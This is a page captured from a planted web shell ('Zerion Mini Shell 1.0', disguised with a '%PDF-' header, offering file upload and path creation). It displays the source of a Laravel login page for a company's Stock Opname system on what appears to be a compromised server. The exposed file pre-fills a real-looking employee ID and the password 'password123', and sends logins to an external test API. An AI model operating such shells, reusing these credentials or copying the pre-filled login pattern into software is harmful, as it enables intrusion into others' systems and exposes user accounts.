%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/so.rezakurnia.com/Stock-Opname-Website/resources/views/auth/
Upload File :
Create Path :
Current File : /home2/rezakur1/so.rezakurnia.com/Stock-Opname-Website/resources/views/auth/login.blade.php

<!DOCTYPE html>
<html lang="id">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Stock Opname System</title>

    <script src="https://cdn.tailwindcss.com"></script>

    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>

    <style>
        body {
            background-image: url('{{ asset('bg-login.png') }}');
            background-position: center;
            background-size: cover;
            background-repeat: no-repeat;
        }

        .glass-card {
            backdrop-filter: blur(14px);
            background: rgba(255, 255, 255, .12);
            border: 1px solid rgba(255, 255, 255, .15);
            box-shadow: 0 20px 40px rgba(0, 0, 0, .25);
        }

        .animate-fade {
            animation: fadeIn .7s ease;
        }

        @keyframes fadeIn {
            from {
                opacity: 0;
                transform: translateY(20px);
            }

            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
    </style>
</head>

<body class="min-h-screen overflow-hidden">

    <div class="absolute inset-0 bg-black/50"></div>

    <div class="relative min-h-screen flex flex-col justify-center items-center px-6">

        <!-- Logo -->
        <div class="text-center mb-8 animate-fade">

            <img src="{{ asset('logo-kobin-one.png') }}" alt="Logo" class="h-24 mx-auto mb-4">

            <h1 class="text-white text-3xl font-bold">
                Stock Opname System
            </h1>

        </div>

        <!-- Login Card -->
        <div class="glass-card rounded-3xl w-full max-w-md p-8 animate-fade">

            <form id="loginForm">

                @csrf

                <!-- NIK -->
                <div class="mb-4">

                    <label class="text-white text-sm mb-2 block">
                        NIK
                    </label>

                    <div class="relative">

                        <svg class="absolute left-4 top-1/2 -translate-y-1/2 text-red-500"
                            xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="none"
                            stroke="currentColor" stroke-width="2">

                            <circle cx="12" cy="7" r="4" />
                            <path d="M5.5 21a6.5 6.5 0 0 1 13 0" />

                        </svg>

                        <input id="nik" type="text" name="nik" placeholder="Masukkan NIK"
                            class="w-full pl-12 pr-4 py-3 rounded-xl bg-white/90 focus:ring-2 focus:ring-red-500 outline-none"
                            value="20425679" required>

                    </div>

                </div>

                <!-- Password -->
                <div class="mb-6">

                    <label class="text-white text-sm mb-2 block">
                        Password
                    </label>

                    <div class="relative">

                        <svg class="absolute left-4 top-1/2 -translate-y-1/2 text-red-500"
                            xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="none"
                            stroke="currentColor" stroke-width="2">

                            <rect x="3" y="11" width="18" height="10" rx="2" />

                            <path d="M7 11V7a5 5 0 0 1 10 0v4" />

                        </svg>

                        <input id="password" type="password" name="password" placeholder="Masukkan Password"
                            class="w-full pl-12 pr-12 py-3 rounded-xl bg-white/90 focus:ring-2 focus:ring-red-500 outline-none"
                            value="password123" required>

                        <button type="button" onclick="togglePassword()"
                            class="absolute right-4 top-1/2 -translate-y-1/2 text-red-500">

                            👁

                        </button>

                    </div>

                </div>

                <!-- Remember -->
                <div class="mb-6 flex items-center">

                    <input id="remember_me" type="checkbox" name="remember" class="rounded border-gray-300">

                    <span class="ml-2 text-white text-sm">
                        Remember Me
                    </span>

                </div>

                <!-- Loading -->
                <div id="loadingSpinner" style="display:none" class="justify-center items-center mb-4">

                    <svg class="animate-spin h-6 w-6 text-white" xmlns="http://www.w3.org/2000/svg" fill="none"
                        viewBox="0 0 24 24">

                        <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
                            stroke-width="4">
                        </circle>

                        <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8v8H4z">
                        </path>

                    </svg>

                </div>

                <!-- Login Button -->
                <button id="loginButton" type="submit"
                    class="w-full bg-red-600 hover:bg-red-700 text-white py-3 rounded-xl font-semibold transition duration-200">

                    Login

                </button>

            </form>

        </div>

        <!-- Footer -->
        <div class="mt-10 flex items-center justify-center gap-2">

            <span class="text-white/80 text-sm">
                by
            </span>

            <img src="{{ asset('kobin-tiles-logo-white.png') }}" alt="Kobin Tiles" class="h-6 w-auto">

        </div>

    </div>

    <script>
        function togglePassword() {

            const input =
                document.getElementById('password');

            input.type =
                input.type === 'password' ?
                'text' :
                'password';
        }

        document.getElementById('loginForm')
            .addEventListener('submit', function(e) {

                e.preventDefault();

                document.getElementById('loadingSpinner')
                    .style.display = 'flex';

                document.getElementById('loginButton')
                    .disabled = true;

                const formData = {

                    nik: document.getElementById('nik').value,

                    password: document.getElementById('password').value,

                    remember: document.getElementById('remember_me').checked ?
                        1 : 0
                };

                fetch(
                        'https://web.kobin.co.id/api/hris/test/auth/api_login.php', {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json',
                            },
                            body: JSON.stringify(formData)
                        }
                    )
                    .then(response => response.json())
                    .then(data => {

                        if (!data.success) {
                            throw new Error(
                                data.message || 'Login gagal'
                            );
                        }

                        return fetch('/login/api-callback', {

                            method: 'POST',

                            credentials: 'same-origin',

                            headers: {
                                'Content-Type': 'application/json',
                                'X-CSRF-TOKEN': '{{ csrf_token() }}'
                            },

                            body: JSON.stringify(data.data)

                        });

                    })
                    .then(response => response.json())
                    .then(result => {

                        if (!result.success) {
                            throw new Error(
                                result.message ||
                                'Gagal membuat session'
                            );
                        }

                        window.location.href =
                            result.redirect;

                    })
                    .catch(error => {

                        document.getElementById('loadingSpinner')
                            .style.display = 'none';

                        document.getElementById('loginButton')
                            .disabled = false;

                        Swal.fire({
                            icon: 'error',
                            title: 'Login Gagal',
                            text: error.message ||
                                'Terjadi kesalahan koneksi',
                            confirmButtonColor: '#dc2626'
                        });

                    });

            });
    </script>

</body>

</html>

Zerion Mini Shell 1.0